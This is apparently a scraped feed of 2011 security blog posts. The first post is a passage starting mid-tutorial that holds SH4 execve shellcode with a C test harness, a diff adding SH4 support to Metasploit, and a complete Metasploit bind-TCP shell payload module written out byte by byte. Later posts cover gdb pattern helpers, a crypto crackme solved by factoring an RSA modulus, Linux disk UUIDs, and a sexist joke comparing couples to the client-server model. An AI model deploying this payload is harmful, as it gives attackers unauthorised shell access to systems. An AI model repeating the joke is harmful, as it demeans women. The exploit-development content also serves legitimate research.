       xor     r2, r2
       shll8   r2
       add     #104, r2
       shll8   r2
       add     #115, r2
       shll8   r2
       add     #47, r2
       mov.l   r2, @r15
       mov     #11, r3
       xor     r5, r5
       xor     r6, r6
       trapa   #19
*/
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

char code[] = 
"\xf8\x7f\xf3\x64\x6e\xe2\x18\x42\x69\x72\x18\x42\x62\x72\x18"
"\x42\x2f\x72\x22\x2f\x04\x7f\x2a\x22\x18\x42\x68\x72\x18\x42"
"\x73\x72\x18\x42\x2f\x72\x22\x2f\x0b\xe3\x5a\x25\x6a\x26\x13"
"\xc3";

int main()
{
   printf("len:%d bytes\n", strlen(code));
   (*(void(*)()) code)();
   return 0;
}
&lt;/pre&gt;

&lt;p&gt;
But it is so fat! A ninja found another way to do it better here &lt;a href="http://www.shell-storm.org/shellcode/files/shellcode-771.php"&gt;http://www.shell-storm.org/shellcode/files/shellcode-771.php&lt;/a&gt;, but this example focused on how to use the stack :)
&lt;/p&gt;

&lt;h1&gt;# Metasploit ninja&lt;/h1&gt;

&lt;p&gt;
We will add the SuperH4 architecture to metasploit :
&lt;/p&gt;

&lt;pre&gt;
% svn co https://www.metasploit.com/svn/framework3/trunk/
% svn diff
Index: lib/rex/constants.rb
===================================================================
--- lib/rex/constants.rb        (révision 13017)
+++ lib/rex/constants.rb        (copie de travail)
@@ -80,6 +80,9 @@
ARCH_TTY    = 'tty'
ARCH_ARMLE  = 'armle'
ARCH_ARMBE  = 'armbe'
+ARCH_SH4    = 'sh4'
+ARCH_SH4LE  = 'sh4le'
+ARCH_SH4BE  = 'sh4be'
ARCH_JAVA   = 'java'
ARCH_TYPES  =
       [
@@ -95,6 +98,9 @@
               ARCH_SPARC,
               ARCH_ARMLE,
               ARCH_ARMBE,
+               ARCH_SH4,
+               ARCH_SH4LE,
+               ARCH_SH4BE,
               ARCH_CMD,
               ARCH_PHP,
               ARCH_TTY,
Index: lib/rex/arch.rb
===================================================================
--- lib/rex/arch.rb     (révision 13017)
+++ lib/rex/arch.rb     (copie de travail)
@@ -63,6 +63,12 @@
                               [addr].pack('V')
                       when ARCH_ARMBE
                               [addr].pack('N')
+                       when ARCH_SH4
+                               [addr].pack('V')
+                       when ARCH_SH4LE
+                               [addr].pack('V')
+                       when ARCH_SH4BE
+                               [addr].pack('N')
               end
       end
&lt;/pre&gt;

&lt;p&gt;
The ARCH_SH4, ARCH_SH4BE and ARCH_SH4LE are now recognized by rex! As an example, we can simply create the metasploit module shell_bind_tcp.rb in modules/payloads/singles/linux/sh4/shell_bind_tcp.rb :
&lt;/p&gt;

&lt;pre&gt;
##
# $Id: shell_reverse_tcp.rb 12196 2011-04-01 00:51:33Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

   include Msf::Payload::Single
   include Msf::Payload::Linux
   include Msf::Sessions::CommandShellOptions

   def initialize(info = {})
       super(merge_info(info,
           'Name'          =&amp;gt; 'Linux Command Shell, Bind TCP Inline',
           'Version'       =&amp;gt; '$Revision: 1 $',
           'Description'   =&amp;gt; 'Listen for a connection and spawn a command shell',
           'Author'        =&amp;gt; 'Dad`',
           'License'       =&amp;gt; MSF_LICENSE,
           'Platform'      =&amp;gt; 'linux',
           'Arch'          =&amp;gt; ARCH_SH4,
           'Handler'       =&amp;gt; Msf::Handler::BindTcp,
           'Session'       =&amp;gt; Msf::Sessions::CommandShellUnix,
           'Payload'       =&amp;gt;
               {
                   'Offsets' =&amp;gt;
                       {
                           'LPORT'    =&amp;gt; [ 116, 'n' ],
                       },
                   'Payload' =&amp;gt;
                       #### Tested successfully on:
                       # Linux debian-sh4 2.6.39-2-sh7751r
                       ####
                       # s = socket(2, 1, 0)
                       "\x66\xe3"        +#   mov     #102,r3
                       "\x02\xe4"        +#   mov     #2,r4
                       "\x01\xe5"        +#   mov     #1,r5
                       "\x6a\x26"        +#   xor     r6,r6
                       "\x66\x2f"        +#   mov.l   r6,@-r15
                       "\x56\x2f"        +#   mov.l   r5,@-r15
                       "\x46\x2f"        +#   mov.l   r4,@-r15
                       "\x01\xe4"        +#   mov     #1,r4
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x13\xc3"        +#   trapa   #19
                       # bind(s, {2, port, 16}, 16)
                       "\x03\x64"        +#   mov     r0,r4
                       "\x03\x68"        +#   mov     r0,r8
                       "\x2a\x22"        +#   xor     r2,r2
                       "\x26\x2f"        +#   mov.l   r2,@-r15
                       "\x15\xc7"        +#   mova    4000c8 &amp;lt;dup+0x18&amp;gt;,r0
                       "\x01\x62"        +#   mov.w   @r0,r2
                       "\x28\x42"        +#   shll16  r2
                       "\x02\x72"        +#   add     #2,r2
                       "\x26\x2f"        +#   mov.l   r2,@-r15
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x10\xe6"        +#   mov     #16,r6
                       "\x66\x2f"        +#   mov.l   r6,@-r15
                       "\x56\x2f"        +#   mov.l   r5,@-r15
                       "\x46\x2f"        +#   mov.l   r4,@-r15
                       "\x02\xe4"        +#   mov     #2,r4
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x13\xc3"        +#   trapa   #19
                       # listen(s, 0)
                       "\x83\x64"        +#   mov     r8,r4
                       "\x5a\x25"        +#   xor     r5,r5
                       "\x6a\x26"        +#   xor     r6,r6
                       "\x66\x2f"        +#   mov.l   r6,@-r15
                       "\x56\x2f"        +#   mov.l   r5,@-r15
                       "\x46\x2f"        +#   mov.l   r4,@-r15
                       "\x04\xe4"        +#   mov     #4,r4
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x13\xc3"        +#   trapa   #19
                       # fd = accept(s, 0, 0)
                       "\x83\x64"        +#   mov     r8,r4
                       "\x5a\x25"        +#   xor     r5,r5
                       "\x66\x2f"        +#   mov.l   r6,@-r15
                       "\x56\x2f"        +#   mov.l   r5,@-r15
                       "\x46\x2f"        +#   mov.l   r4,@-r15
                       "\x05\xe4"        +#   mov     #5,r4
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x13\xc3"        +#   trapa   #19
                       # dup2(fd, 2-1-0)
                       "\x03\x69"        +#   mov     r0,r9
                       "\x03\xea"        +#   mov     #3,r10
                       # &amp;lt;dup&amp;gt;:
                       "\xff\x7a"        +#   add     #-1,r10
                       "\x3f\xe3"        +#   mov     #63,r3
                       "\x93\x64"        +#   mov     r9,r4
                       "\xa3\x65"        +#   mov     r10,r5
                       "\x13\xc3"        +#   trapa   #19
                       "\x15\x4a"        +#   cmp/pl  r10
                       "\xf8\x89"        +#   bt      4000b0 &amp;lt;dup&amp;gt;
                       # execve(shell, 0, 0)
                       "\x0b\xe3"        +#   mov     #11,r3
                       "\x02\xc7"        +#   mova    4000cc &amp;lt;dup+0x1c&amp;gt;,r0
                       "\x03\x64"        +#   mov     r0,r4
                       "\x5a\x25"        +#   xor     r5,r5
                       "\x13\xc3"        +#   trapa   #19
                       "\x00\x00"        +#   LPORT
                       "\xff\xff"        +#   Junk
                       "/bin/sh"          #   Shell
               }
           ))

       register_options(
           [
               OptString.new('SHELL', [ true, "Shell to execute.", "/bin/sh" ])
           ], self.class)
   end

   def generate
       p = super

       sh = datastore['SHELL']
       p[120, sh.length] = sh

       p
   end

end
&lt;/pre&gt;

&lt;p&gt;
This is a simple example on how to perform a bind shell with a parametrable LPORT and SHELL. Their offsets are calculated relatively to the end. Note that I am using the socketcall syscall to handle the socket, listen, bind and accept commands. Arguments are pushed onto the stack respectively, then a pointer to this location is saved in r5, the syscall #63 is stored in r3 and finally r4 defines the action that socketcall should execute. Also, the dup2 over the three standards file descriptors is in a loop decrementing r10.
&lt;/p&gt;

&lt;p&gt;
The shellcode is certainly far from optimal, but this is a first approach to this exotic architecture! I don't really know how to submit modules to metasploit framework, but if any of you knows ... :)
&lt;/p&gt;

&lt;p&gt;
[1] http://msdn.microsoft.com/en-us/library/ms925519.aspx
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-3641498803505934933?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/3641498803505934933/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2011/06/sh4-fun.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/3641498803505934933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/3641498803505934933'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2011/06/sh4-fun.html' title='SH4 fun'/><author><name>Dad.</name><uri>http://www.blogger.com/profile/05266852027016346183</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-4816812454945534767</id><published>2011-05-04T15:22:00.001+02:00</published><updated>2011-05-04T15:23:51.142+02:00</updated><title type='text'>C declarations and the almighty Hex-Rays</title><content type='html'>Today at GNIF, someone asked us the following question : what is the output of this program ?&lt;br /&gt;
&lt;pre class="brush: C;"&gt;int p=0;
p = p++ + ++p;
printf("p=%d\n", p);&lt;/pre&gt;&lt;br /&gt;
I let the readers test their knowledge on this one. On my side, after some spending a few minutes arguing with coworkers, I decided to see if IDA and the Hex-Rays plugin could help me. Here is the disassembly :&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="brush: C;"&gt;int __cdecl main()
{
  printf("p=%d\n", 3);
  return 0;
}&lt;/pre&gt;&lt;br /&gt;
Hail to the almighty IDA !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-4816812454945534767?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/4816812454945534767/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2011/05/c-declarations-and-almighty-hex-rays.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/4816812454945534767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/4816812454945534767'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2011/05/c-declarations-and-almighty-hex-rays.html' title='C declarations and the almighty Hex-Rays'/><author><name>blind_key</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_w7o23hIBRuI/TGeuJudkphI/AAAAAAAAAAQ/u4QPseT8zvc/s1600-R/background.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-1147485059913130809</id><published>2011-04-04T21:42:00.004+02:00</published><updated>2011-04-04T22:08:56.354+02:00</updated><title type='text'>From device names to UUID</title><content type='html'>&lt;p&gt;
After installing my station with ArchLinux, I realized that my 2 SATA controllers were recognized in a random order by the kernel. This means my /dev/sda-b and /dev/sdc-d sometimes switched, and my root FS was simply ignored at boot (what makes the environment a bit... unusable). The solution is simply to change grub and Linux configurations to use disk's UUID or LABEL, instead of logical names.
&lt;/p&gt;
&lt;p&gt;
After googling, the solution was here, thanks to some Linux magic:
&lt;/p&gt;
&lt;pre class="brush: bash;"&gt;
$ ls -l /dev/disk/by-
by-id/    by-label/ by-path/  by-uuid/  
$ ls -l /dev/disk/by-uuid/
total 0
lrwxrwxrwx 1 root root 10 Apr  4 21:21 4de015b1-34a9-4c58-93e4-dc2c3e2502db -&gt; ../../sdc1
lrwxrwxrwx 1 root root 10 Apr  4 21:21 5b507ae1-8b9e-4689-aea0-4e54e0790f46 -&gt; ../../sdd2
lrwxrwxrwx 1 root root 10 Apr  4 21:21 921f9d8d-7921-48e7-ab72-9ee701633174 -&gt; ../../sdd1
lrwxrwxrwx 1 root root 10 Apr  4 21:21 f05a3192-f8cf-4a22-836c-b82a6b00db04 -&gt; ../../sdc2
lrwxrwxrwx 1 root root 10 Apr  4 21:21 fc8e3b24-0a5c-4138-bfd0-9a6cc0fb1ef5 -&gt; ../../sdc3
&lt;/pre&gt;
&lt;p&gt;
These symlinks are updated at each boot to point to the right disk's logical name. So, I only needed to edit my /boot/grub/menu.lst and /etc/fstab files, referencing full path to disk UUID, e.g. /dev/disk/by-uuid/4de015b1-34a9-4c58-93e4-dc2c3e2502db instead of /dev/sdc1. Whatever logical names my SATA disks have, grub and Linux always get the right one.
&lt;/p&gt;
&lt;p&gt;
TIP 1: always keep a backup entry in your grub with the old way your disk was referenced, just in case...&lt;br&gt;
TIP 2: use the /dev/disk symlinks, instead of the UUID=4de015b1-34a9-4c58-93e4-dc2c3e2502db convention, which seems not to be recognized by the legacy grub (version 1).
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-1147485059913130809?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/1147485059913130809/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2011/04/from-device-names-to-uuid.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/1147485059913130809'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/1147485059913130809'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2011/04/from-device-names-to-uuid.html' title='From device names to UUID'/><author><name>mitshell</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-8660132052349917339</id><published>2011-03-24T15:10:00.004+01:00</published><updated>2011-03-24T15:25:47.648+01:00</updated><title type='text'>The client - server model</title><content type='html'>&lt;p&gt;
At GNIF, we discussed an interesting analogy during lunch. 
This was about the model of women and men's relationships: 
this is pretty much like the client and server model.&lt;br&gt;
Woman requests / Man responses.&lt;br&gt;
Woman posts / Man executes.&lt;br&gt;
There is no real solution for the man to be at any initiative ;) 
He is simply acting as slave.
&lt;/p&gt;
&lt;p&gt;
And we can come to the conclusion that the same behavior exists in a couple as in the Internet:&lt;br&gt;
Woman requests something very difficult / Man reponses that is not authorized&lt;br&gt;
Woman posts credentials / Man verifies credentials (...hummm)&lt;br&gt;
Woman requests something very difficult / Man reponses OK&lt;br&gt;
Also:&lt;br&gt;
Woman floods with too much requests / Man denies service&lt;br&gt;
Or even:&lt;br&gt;
Naive woman requests / Man responses with hidden iframe&lt;br&gt;
Naive woman gets her javascript engine exploited&lt;br&gt;
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-8660132052349917339?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/8660132052349917339/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2011/03/client-server-model.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/8660132052349917339'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/8660132052349917339'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2011/03/client-server-model.html' title='The client - server model'/><author><name>mitshell</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-341283523205340765</id><published>2011-03-02T10:04:00.000+01:00</published><updated>2011-03-02T10:04:24.256+01:00</updated><title type='text'>The Twitter effect</title><content type='html'>&lt;div style="text-align: justify;"&gt;Once we were an unknown blog, posting stuff that will make our friends laught. Nobody cared, and it was good.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;One day, because of an unfortunate random google hit, we were spotted by powerful twitters. And our peace was gone.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh6.googleusercontent.com/-8BM7BPGekV0/TW4HYJ-LJ1I/AAAAAAAAACA/nM-9ptq5gXI/s1600/2011-03-02-095819_650x259_scrot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="158" src="https://lh6.googleusercontent.com/-8BM7BPGekV0/TW4HYJ-LJ1I/AAAAAAAAACA/nM-9ptq5gXI/s400/2011-03-02-095819_650x259_scrot.png" width="400" /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;Fuck twitter ;-) &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-341283523205340765?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/341283523205340765/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2011/03/twitter-effect.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/341283523205340765'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/341283523205340765'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2011/03/twitter-effect.html' title='The Twitter effect'/><author><name>blind_key</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_w7o23hIBRuI/TGeuJudkphI/AAAAAAAAAAQ/u4QPseT8zvc/s1600-R/background.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='https://lh6.googleusercontent.com/-8BM7BPGekV0/TW4HYJ-LJ1I/AAAAAAAAACA/nM-9ptq5gXI/s72-c/2011-03-02-095819_650x259_scrot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-8738019476694948565</id><published>2011-02-17T11:49:00.007+01:00</published><updated>2011-03-01T20:44:41.569+01:00</updated><title type='text'>Importing metasploit tools into gdb</title><content type='html'>&lt;p&gt;
By reading &lt;a href="http://www.vnsecurity.net/2011/01/padocon-2011-ctf-karma-400-exploit-the-data-re-use-way/"&gt;http://www.vnsecurity.net/2011/01/padocon-2011-ctf-karma-400-exploit-the-data-re-use-way/&lt;/a&gt;, I found longld use the pattern_create and pattern_offset metasploit tools directly into gdb. Because I am an eternal jealous I've imported it into .gdbinit with the following :
&lt;/p&gt;

&lt;pre&gt;
# pattern_create
define pattern_create
    if $argc != 1
        help pattern_create
    else
        shell ruby /opt/metasploit/tools/pattern_create.rb $arg0 
    end
end
document pattern_create
Usage: pattern_create length
end

# pattern_offset
define pattern_offset
    if $argc != 2
        help pattern_offset
    else
        shell ruby /opt/metasploit/tools/pattern_offset.rb $arg0 $arg1
    end
end
document pattern_offset
Usage: pattern_offset &amp;lt;search item&amp;gt; &amp;lt;length of buffer&amp;gt;
Default length of buffer if none is inserted: 8192
This buffer is generated by pattern_create() in the Rex library automatically
end
&lt;/pre&gt;

&lt;p&gt;
This is a first shot coded with feet, but that fit really well with the perfect &lt;a href="http://reverse.put.as/wp-content/uploads/2010/04/gdbinit73"&gt;http://reverse.put.as/wp-content/uploads/2010/04/gdbinit73&lt;/a&gt;. As I don't use [set a/b/c] they are not present here, but maybe in an updated version :) The &amp;lt;search item&amp;gt; and &amp;lt;length of buffer&amp;gt; switch of longld remains an opaque mystery!
&lt;br/&gt;&lt;br/&gt;
Code available here :&lt;br/&gt;
&lt;a href="http://paste.pocoo.org/show/340208/"&gt;http://paste.pocoo.org/show/340161/&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
EDIT: &lt;a href="http://sh4ka.fr/"&gt;sh4ka&lt;/a&gt; enlighted me with the pvefindaddr implementation (&lt;a href="http://redmine.corelan.be:8800/projects/pvefindaddr/repository/entry/release/v1.8/pvefindaddr.py"&gt;http://redmine.corelan.be:8800/projects/pvefindaddr/repository/entry/release/v1.8/pvefindaddr.py&lt;/a&gt;) of metasploit pattern functions. It requires python, but it is far lighter than metasploit :). Just add the following to your .gdbinit :
&lt;/p&gt;

&lt;pre&gt;
python
import gdb
import binascii

class Pattern_create(gdb.Command):
    '''pattern_create &amp;lt;size&amp;gt;'''

    def __init__(self):
        super(Pattern_create, self).__init__("pattern_create", gdb.COMMAND_SUPPORT, gdb.COMPLETE_FILENAME)

    def invoke(self, arg, from_tty):
        size=arg.split(" ")[0]
        char1="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        char2="abcdefghijklmnopqrstuvwxyz"
        char3="0123456789"
        charcnt=0
        pattern=""
        max=int(size)
        for ch1 in char1:
           for ch2 in char2:
               for ch3 in char3:
                  if charcnt&amp;lt;max:
                    pattern=pattern+ch1
                    charcnt=charcnt+1
                  if charcnt&amp;lt;max:
                    pattern=pattern+ch2
                    charcnt=charcnt+1
                  if charcnt&amp;lt;max:
                    pattern=pattern+ch3
                    charcnt=charcnt+1
        print pattern

class Pattern_offset(gdb.Command):
    '''pattern_offset &amp;lt;pattern&amp;gt; &amp;lt;size&amp;gt;'''

    def __init__(self):
        super(Pattern_offset, self).__init__("pattern_offset", gdb.COMMAND_SUPPORT, gdb.COMPLETE_FILENAME)

    def invoke(self, arg, from_tty):
        searchpat=arg.split(" ")[0]
        size=arg.split(" ")[1]
        mspattern=""
        patsize=int(size)
        mspattern=self.pattern_create(size)
        if len(searchpat)==4:
           ascipat2=searchpat
           print("Looking for %s in pattern of %d bytes" % (ascipat2,patsize))
           if ascipat2 in mspattern:
              patpos = mspattern.find(ascipat2)
              print(" - Pattern %s found in Metasploit pattern at position %d" % (ascipat2,patpos))
           else:
              print(" - Pattern %s not found in Metasploit pattern" % ascipat2)
        if len(searchpat)==8:
              searchpat="0x"+searchpat
        if len(searchpat)==10:
              hexpat=searchpat
              ascipat3=toascii(hexpat[8]+hexpat[9])+toascii(hexpat[6]+hexpat[7])+toascii(imm,hexpat[4]+hexpat[5])+toascii(hexpat[2]+hexpat[3])
              print("Looking for %s in pattern of %d bytes" % (ascipat3,patsize))
              if ascipat3 in mspattern:
                 patpos = mspattern.find(ascipat3)
                 print(" - Pattern %s (%s) found in Metasploit pattern at position %d" % (ascipat3,hexpat,patpos))
              else:
                 #maybe it's reversed
                 ascipat4=toascii(hexpat[2]+hexpat[3])+toascii(hexpat[4]+hexpat[5])+toascii(hexpat[6]+hexpat[7])+toascii(hexpat[8]+hexpat[9])
                 print("Looking for %s in pattern of %d bytes" % (ascipat4,patsize))
                 if ascipat4 in mspattern:
                   patpos = mspattern.find(ascipat4)
                   print(" - Pattern %s (%s reversed) found in Metasploit pattern at position %d" % (ascipat4,hexpat,patpos))
                 else:
                   print(" - Pattern %s not found in Metasploit pattern" % ascipat4)

    def pattern_create(self, size):
        char1="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        char2="abcdefghijklmnopqrstuvwxyz"
        char3="0123456789"
        charcnt=0
        pattern=""
        max=int(size)
        for ch1 in char1:
           for ch2 in char2:
               for ch3 in char3:
                  if charcnt&amp;lt;max:
                    pattern=pattern+ch1
                    charcnt=charcnt+1
                  if charcnt&amp;lt;max:
                    pattern=pattern+ch2
                    charcnt=charcnt+1
                  if charcnt&amp;lt;max:
                    pattern=pattern+ch3
                    charcnt=charcnt+1
        return pattern

   def toascii(self, n):
      try:
         asciiequival=binascii.a2b_hex(n)
      except:
         asciiequival=" "
         #print sys.exc_info()[0]
      return asciiequival

Pattern_create()
Pattern_offset()

end
&lt;/pre&gt;

&lt;p&gt;
This is a simple way to define gdb commands in python, read more at &lt;a href="http://sourceware.org/gdb/wiki/PythonGdbTutorial"&gt;http://sourceware.org/gdb/wiki/PythonGdbTutorial&lt;/a&gt;.
&lt;br/&gt;&lt;br/&gt;
Code available here :&lt;br/&gt;
&lt;a href="http://paste.pocoo.org/show/Arg0fmMLsO3cVoSCclXo/"&gt;http://paste.pocoo.org/show/Arg0fmMLsO3cVoSCclXo/&lt;/a&gt;
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-8738019476694948565?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/8738019476694948565/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2011/02/importing-metasploit-tools-into-gdb.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/8738019476694948565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/8738019476694948565'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2011/02/importing-metasploit-tools-into-gdb.html' title='Importing metasploit tools into gdb'/><author><name>Dad.</name><uri>http://www.blogger.com/profile/05266852027016346183</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-6965593728785341963</id><published>2011-02-04T13:25:00.010+01:00</published><updated>2011-02-08T18:05:57.746+01:00</updated><title type='text'></title><content type='html'>&lt;p&gt;
Hello,  Let's level up this blog with some crypto challenges :)
&lt;/p&gt;
&lt;span style="font-size:180%;"&gt;
&lt;span style="font-weight: bold;"&gt;Intro&lt;/span&gt;&lt;/span&gt;

&lt;p&gt;
Shmoocon 2011 released their crypto challenges &lt;a href="http://crackmes.de/users/andrewl.us/shmoocon_2011_crypto_challenge_pack/"&gt;http://crackmes.de/users/andrewl.us/shmoocon_2011_crypto_challenge_pack/&lt;/a&gt; and we'll try to solve them.
&lt;br/&gt;&lt;br/&gt;
Ok :
&lt;/p&gt;

&lt;pre&gt;
dad@gambas /tmp % wget http://crackmes.de/users/andrewl.us/shmoocon_2011_crypto_challenge_pack/download
--2011-02-08 17:25:08--  http://crackmes.de/users/andrewl.us/shmoocon_2011_crypto_challenge_pack/download
Résolution de crackmes.de... 88.198.55.82
Connexion vers crackmes.de|88.198.55.82|:80...connecté.
requête HTTP transmise, en attente de la réponse...200 OK
Longueur: 22865 (22K) [application/zip]
Sauvegarde en : «download»

100%[===============================================================&gt;] 22 865      --.-K/s   ds 0,07s

2011-02-08 17:25:08 (303 KB/s) - «download» sauvegardé [22865/22865]

dad@gambas /tmp % unzil -l download
zsh: correct 'unzil' to 'unzip' [nyae]? y
Archive:  download
Length      Date    Time    Name
---------  ---------- -----   ----
1094  2011-01-27 13:16   crypto1.py
1000  2011-01-27 13:19   crypto2.py
5027  2011-01-27 13:20   crypto3.py
28336 2011-01-27 13:20   crypto4.py
15075 2011-01-31 20:40   crypto5.py
1349  2011-01-27 13:24   README
2886  2011-01-27 13:20   warmup.py
---------                     -------
54767                     7 files
&lt;/pre&gt;
&lt;p&gt;
Seems that crypto 1 is the easiest part so we're gonna start with it
&lt;/p&gt;

&lt;span style="font-weight: bold;font-size:180%;" &gt;Crypto 1&lt;/span&gt;

&lt;pre&gt;dad@gambas /tmp % python2 crypto1.py
usage:  crypto1.py  &lt;name&gt; &lt;serial&gt;
dad@gambas /tmp % python2 crypto1.py name 1010
bad
&lt;/pre&gt;

&lt;p&gt;
While browsing the code we see that 'good' is printed while pow(c, d, n) == m. Given d and n, c is int(serial) and m = hex(name). So we have to solve serial^d%n == name, RSA ?!
Ok sounds like some old school maths will appear, the time to define some functions :
&lt;/p&gt;

&lt;pre&gt;
def iterative_egcd(a, b):
x,y, u,v = 0,1, 1,0
while a != 0:
   q,r = b/a,b%a; m,n = x-u*q,y-v*q
   b,a, x,y, u,v = a,r, u,v, m,n
return b, x, y

def modinv(a, m):
g, x, y = iterative_egcd(a, m)  # or recursive_egcd(a, m)
if g != 1:
   return None
else:
   return x % m
&lt;/pre&gt;

&lt;p&gt;
It is needed as we will find serial = name^modinv(d, phi_n) mod n. phi_n is calculated thanks to the factorization of n :
&lt;/p&gt;

&lt;pre&gt;
# listFactors = sympy.factorint(n).keys()
listFactors = [1431655777,572662309,1717986953,2290649227,1145324633,858993503,2004318077,286331173]

# phi_n =
phi_n = 1
for i in listFactors:
phi_n*= i-1

dad@gambas /tmp % python2 crypto1_sol.py Gr@L@nD 1
Gr@L@nD =&gt; 20110343829220932
phi_n = 1821668770858768688568830104173455278614348858086775854542934108212297728
modinv(d, phi_n) = 174725878413998504300527427786354881690797517767573630493566745566969857
Found c:229078519703809131552789955890563407627700764338566985398325879250838863
c^d%n = 20110343829220932
m = 20110343829220932
good
&lt;/pre&gt;

&lt;p&gt;
RSA!!! No need for sources ? :)
